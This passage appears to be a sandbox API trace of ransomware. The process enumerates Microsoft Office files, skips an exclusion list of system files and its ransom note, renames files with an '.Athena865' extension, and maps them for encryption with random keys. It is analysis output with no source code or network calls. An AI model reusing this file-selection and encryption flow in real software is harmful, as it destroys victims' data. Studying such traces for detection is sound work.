0x100000 [0139.859] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0139.860] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.860] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.861] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.861] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.861] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.861] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.862] CloseHandle (hObject=0x154) returned 1 [0139.862] CloseHandle (hObject=0x17c) returned 1 [0139.862] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.862] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0139.862] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.862] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b12e00, ftCreationTime.dwHighDateTime=0x1ca99cf, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x45b12e00, ftLastWriteTime.dwHighDateTime=0x1ca99cf, nFileSizeHigh=0x0, nFileSizeLow=0x587c9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Discussion14.gta", cAlternateFileName="DISCUS~2.GTA")) returned 1 [0139.862] lstrcmpiW (lpString1="Discussion14.gta", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.862] lstrcmpiW (lpString1="Discussion14.gta", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.863] lstrcmpiW (lpString1="Discussion14.gta", lpString2=".") returned 1 [0139.863] lstrcmpiW (lpString1="Discussion14.gta", lpString2="..") returned 1 [0139.863] lstrcmpiW (lpString1="Discussion14.gta", lpString2="windows") returned -1 [0139.863] lstrcmpiW (lpString1="Discussion14.gta", lpString2="bootmgr") returned 1 [0139.863] lstrcmpiW (lpString1="Discussion14.gta", lpString2="temp") returned -1 [0139.863] lstrcmpiW (lpString1="Discussion14.gta", lpString2="pagefile.sys") returned -1 [0139.863] lstrcmpiW (lpString1="Discussion14.gta", lpString2="boot") returned 1 [0139.863] lstrcmpiW (lpString1="Discussion14.gta", lpString2="ids.txt") returned -1 [0139.863] lstrcmpiW (lpString1="Discussion14.gta", lpString2="ntuser.dat") returned -1 [0139.863] lstrcmpiW (lpString1="Discussion14.gta", lpString2="perflogs") returned -1 [0139.863] lstrcmpiW (lpString1="Discussion14.gta", lpString2="MSBuild") returned -1 [0139.863] lstrlenW (lpString="Discussion14.gta") returned 16 [0139.863] lstrcpyW (in: lpString1=0x241e8a8, lpString2="Discussion14.gta" | out: lpString1="Discussion14.gta") returned="Discussion14.gta" [0139.863] lstrlenW (lpString="Discussion14.gta") returned 16 [0139.863] lstrlenW (lpString="Athena865") returned 9 [0139.863] lstrcmpiW (lpString1="ion14.gta", lpString2="Athena865") returned 1 [0139.863] lstrlenW (lpString=".dll") returned 4 [0139.863] lstrcmpiW (lpString1="Discussion14.gta", lpString2=".dll") returned 1 [0139.863] lstrlenW (lpString=".lnk") returned 4 [0139.863] lstrcmpiW (lpString1="Discussion14.gta", lpString2=".lnk") returned 1 [0139.863] lstrlenW (lpString=".ini") returned 4 [0139.863] lstrcmpiW (lpString1="Discussion14.gta", lpString2=".ini") returned 1 [0139.863] lstrlenW (lpString=".sys") returned 4 [0139.863] lstrcmpiW (lpString1="Discussion14.gta", lpString2=".sys") returned 1 [0139.863] lstrlenW (lpString="Discussion14.gta") returned 16 [0139.863] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta.Athena865") returned 74 [0139.863] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta.athena865"), dwFlags=0x1) returned 1 [0139.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.866] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=362441) returned 1 [0139.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0139.866] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0139.867] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.867] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.867] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x58ad0, lpName=0x0) returned 0x154 [0139.871] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x58ad0) returned 0x2bb0000 [0139.887] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0139.887] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.887] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.893] lstrcpyW (in: lpString1=0x241e8a8, lpString2="DL_RES.DLL" | out: lpString1="DL_RES.DLL") returned="DL_RES.DLL" [0139.893] lstrlenW (lpString="DL_RES.DLL") returned 10 [0139.893] lstrlenW (lpString="Athena865") returned 9 [0139.893] lstrcmpiW (lpString1="L_RES.DLL", lpString2="Athena865") returned 1 [0139.893] lstrlenW (lpString=".dll") returned 4 [0139.893] lstrcmpiW (lpString1="DL_RES.DLL", lpString2=".dll") returned 1 [0139.893] lstrlenW (lpString=".lnk") returned 4 [0139.893] lstrcmpiW (lpString1="DL_RES.DLL", lpString2=".lnk") returned 1 [0139.893] lstrlenW (lpString=".ini") returned 4 [0139.893] lstrcmpiW (lpString1="DL_RES.DLL", lpString2=".ini") returned 1 [0139.893] lstrlenW (lpString=".sys") returned 4 [0139.893] lstrcmpiW (lpString1="DL_RES.DLL", lpString2=".sys") returned 1 [0139.893] lstrlenW (lpString="DL_RES.DLL") returned 10 [0139.893] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL.Athena865") returned 68 [0139.893] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll.athena865"), dwFlags=0x1) returned 1 [0139.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.896] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10632) returned 1 [0139.896] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0139.896] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.897] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.897] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2c90, lpName=0x0) returned 0x154 [0139.898] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2c90) returned 0x100000 [0139.899] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0139.900] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.900] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.902] lstrcpyW (in: lpString1=0x241e8a8, lpString2="DOORSCHD.VRD" | out: lpString1="DOORSCHD.VRD") returned="DOORSCHD.VRD" [0139.902] lstrlenW (lpString="DOORSCHD.VRD") returned 12 [0139.902] lstrlenW (lpString="Athena865") returned 9 [0139.902] lstrcmpiW (lpString1="RSCHD.VRD", lpString2="Athena865") returned 1 [0139.902] lstrlenW (lpString=".dll") returned 4 [0139.902] lstrcmpiW (lpString1="DOORSCHD.VRD", lpString2=".dll") returned 1 [0139.902] lstrlenW (lpString=".lnk") returned 4 [0139.902] lstrcmpiW (lpString1="DOORSCHD.VRD", lpString2=".lnk") returned 1 [0139.902] lstrlenW (lpString=".ini") returned 4 [0139.902] lstrcmpiW (lpString1="DOORSCHD.VRD", lpString2=".ini") returned 1 [0139.902] lstrlenW (lpString=".sys") returned 4 [0139.902] lstrcmpiW (lpString1="DOORSCHD.VRD", lpString2=".sys") returned 1 [0139.902] lstrlenW (lpString="DOORSCHD.VRD") returned 12 [0139.902] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD.Athena865") returned 70 [0139.903] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd.athena865"), dwFlags=0x1) returned 1 [0139.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.904] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1723) returned 1 [0139.904] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0139.905] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.905] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.905] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9c0, lpName=0x0) returned 0x154 [0139.907] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9c0) returned 0x100000 [0139.907] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0139.908] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.908] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.908] lstrcpyW (in: lpString1=0x241e8a8, lpString2="DRILLDWN.VSL" | out: lpString1="DRILLDWN.VSL") returned="DRILLDWN.VSL" [0139.909] lstrlenW (lpString="DRILLDWN.VSL") returned 12 [0139.909] lstrlenW (lpString="Athena865") returned 9 [0139.909] lstrcmpiW (lpString1="LLDWN.VSL", lpString2="Athena865") returned 1 [0139.909] lstrlenW (lpString=".dll") returned 4 [0139.909] lstrcmpiW (lpString1="DRILLDWN.VSL", lpString2=".dll") returned 1 [0139.909] lstrlenW (lpString=".lnk") returned 4 [0139.909] lstrcmpiW (lpString1="DRILLDWN.VSL", lpString2=".lnk") returned 1 [0139.909] lstrlenW (lpString=".ini") returned 4 [0139.909] lstrcmpiW (lpString1="DRILLDWN.VSL", lpString2=".ini") returned 1 [0139.909] lstrlenW (lpString=".sys") returned 4 [0139.909] lstrcmpiW (lpString1="DRILLDWN.VSL", lpString2=".sys") returned 1 [0139.909] lstrlenW (lpString="DRILLDWN.VSL") returned 12 [0139.909] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL.Athena865") returned 70 [0139.909] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl.athena865"), dwFlags=0x1) returned 1 [0139.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.915] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=64872) returned 1 [0139.915] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0139.915] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.915] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.916] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10070, lpName=0x0) returned 0x154 [0139.917] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10070) returned 0x100000 [0139.920] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0139.921] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.921] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.922] lstrcpyW (in: lpString1=0x241e8a8, lpString2="DWGCNV.VSL" | out: lpString1="DWGCNV.VSL") returned="DWGCNV.VSL" [0139.922] lstrlenW (lpString="DWGCNV.VSL") returned 10 [0139.922] lstrlenW (lpString="Athena865") returned 9 [0139.922] lstrcmpiW (lpString1="WGCNV.VSL", lpString2="Athena865") returned 1 [0139.922] lstrlenW (lpString=".dll") returned 4 [0139.922] lstrcmpiW (lpString1="DWGCNV.VSL", lpString2=".dll") returned 1 [0139.922] lstrlenW (lpString=".lnk") returned 4 [0139.922] lstrcmpiW (lpString1="DWGCNV.VSL", lpString2=".lnk") returned 1 [0139.922] lstrlenW (lpString=".ini") returned 4 [0139.922] lstrcmpiW (lpString1="DWGCNV.VSL", lpString2=".ini") returned 1 [0139.922] lstrlenW (lpString=".sys") returned 4 [0139.922] lstrcmpiW (lpString1="DWGCNV.VSL", lpString2=".sys") returned 1 [0139.922] lstrlenW (lpString="DWGCNV.VSL") returned 10 [0139.922] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL.Athena865") returned 68 [0139.922] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl.athena865"), dwFlags=0x1) returned 1 [0139.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.924] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=38752) returned 1 [0139.925] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0139.925] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.925] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.926] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9a60, lpName=0x0) returned 0x154 [0139.927] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9a60) returned 0x100000 [0139.929] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0139.929] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.929] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.930] lstrcpyW (in: lpString1=0x241e8a8, lpString2="DWGDPRES.DLL" | out: lpString1="DWGDPRES.DLL") returned="DWGDPRES.DLL" [0139.930] lstrlenW (lpString="DWGDPRES.DLL") returned 12 [0139.930] lstrlenW (lpString="Athena865") returned 9 [0139.930] lstrcmpiW (lpString1="DPRES.DLL", lpString2="Athena865") returned 1 [0139.930] lstrlenW (lpString=".dll") returned 4 [0139.930] lstrcmpiW (lpString1="DWGDPRES.DLL", lpString2=".dll") returned 1 [0139.930] lstrlenW (lpString=".lnk") returned 4 [0139.930] lstrcmpiW (lpString1="DWGDPRES.DLL", lpString2=".lnk") returned 1 [0139.931] lstrlenW (lpString=".ini") returned 4 [0139.931] lstrcmpiW (lpString1="DWGDPRES.DLL", lpString2=".ini") returned 1 [0139.931] lstrlenW (lpString=".sys") returned 4 [0139.931] lstrcmpiW (lpString1="DWGDPRES.DLL", lpString2=".sys") returned 1 [0139.931] lstrlenW (lpString="DWGDPRES.DLL") returned 12 [0139.931] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL.Athena865") returned 70 [0139.931] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll.athena865"), dwFlags=0x1) returned 1 [0139.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.933] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16224) returned 1 [0139.933] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0139.934] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.934] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.934] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4260, lpName=0x0) returned 0x154 [0139.937] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4260) returned 0x100000 [0139.938] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0139.938] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.938] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.939] lstrcpyW (in: lpString1=0x241e8a8, lpString2="EADOCUMENTAPPROVAL_INIT.XSN" | out: lpString1="EADOCUMENTAPPROVAL_INIT.XSN") returned="EADOCUMENTAPPROVAL_INIT.XSN" [0139.939] lstrlenW (lpString="EADOCUMENTAPPROVAL_INIT.XSN") returned 27 [0139.939] lstrlenW (lpString="Athena865") returned 9 [0139.939] lstrcmpiW (lpString1="_INIT.XSN", lpString2="Athena865") returned -1 [0139.939] lstrlenW (lpString=".dll") returned 4 [0139.939] lstrcmpiW (lpString1="EADOCUMENTAPPROVAL_INIT.XSN", lpString2=".dll") returned 1 [0139.939] lstrlenW (lpString=".lnk") returned 4 [0139.939] lstrcmpiW (lpString1="EADOCUMENTAPPROVAL_INIT.XSN", lpString2=".lnk") returned 1 [0139.939] lstrlenW (lpString=".ini") returned 4 [0139.939] lstrcmpiW (lpString1="EADOCUMENTAPPROVAL_INIT.XSN", lpString2=".ini") returned 1 [0139.939] lstrlenW (lpString=".sys") returned 4 [0139.939] lstrcmpiW (lpString1="EADOCUMENTAPPROVAL_INIT.XSN", lpString2=".sys") returned 1 [0139.939] lstrlenW (lpString="EADOCUMENTAPPROVAL_INIT.XSN") returned 27 [0139.939] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_INIT.XSN.Athena865") returned 85 [0139.939] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_INIT.XSN" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_init.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_INIT.XSN.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_init.xsn.athena865"), dwFlags=0x1) returned 1 [0139.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_INIT.XSN.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_init.xsn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.941] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14478) returned 1 [0139.941] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0139.942] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.942] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.942] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b90, lpName=0x0) returned 0x154 [0139.943] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b90) returned 0x100000 [0139.944] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0139.945] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.945] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.946] lstrcpyW (in: lpString1=0x241e8a8, lpString2="EADOCUMENTAPPROVAL_REVIEW.XSN" | out: lpString1="EADOCUMENTAPPROVAL_REVIEW.XSN") returned="EADOCUMENTAPPROVAL_REVIEW.XSN" [0139.946] lstrlenW (lpString="EADOCUMENTAPPROVAL_REVIEW.XSN") returned 29 [0139.946] lstrlenW (lpString="Athena865") returned 9 [0139.946] lstrcmpiW (lpString1="EVIEW.XSN", lpString2="Athena865") returned 1 [0139.946] lstrlenW (lpString=".dll") returned 4 [0139.946] lstrcmpiW (lpString1="EADOCUMENTAPPROVAL_REVIEW.XSN", lpString2=".dll") returned 1 [0139.946] lstrlenW (lpString=".lnk") returned 4 [0139.946] lstrcmpiW (lpString1="EADOCUMENTAPPROVAL_REVIEW.XSN", lpString2=".lnk") returned 1 [0139.946] lstrlenW (lpString=".ini") returned 4 [0139.946] lstrcmpiW (lpString1="EADOCUMENTAPPROVAL_REVIEW.XSN", lpString2=".ini") returned 1 [0139.946] lstrlenW (lpString=".sys") returned 4 [0139.946] lstrcmpiW (lpString1="EADOCUMENTAPPROVAL_REVIEW.XSN", lpString2=".sys") returned 1 [0139.946] lstrlenW (lpString="EADOCUMENTAPPROVAL_REVIEW.XSN") returned 29 [0139.946] wsprintfW (in: param_1=0x241d508, 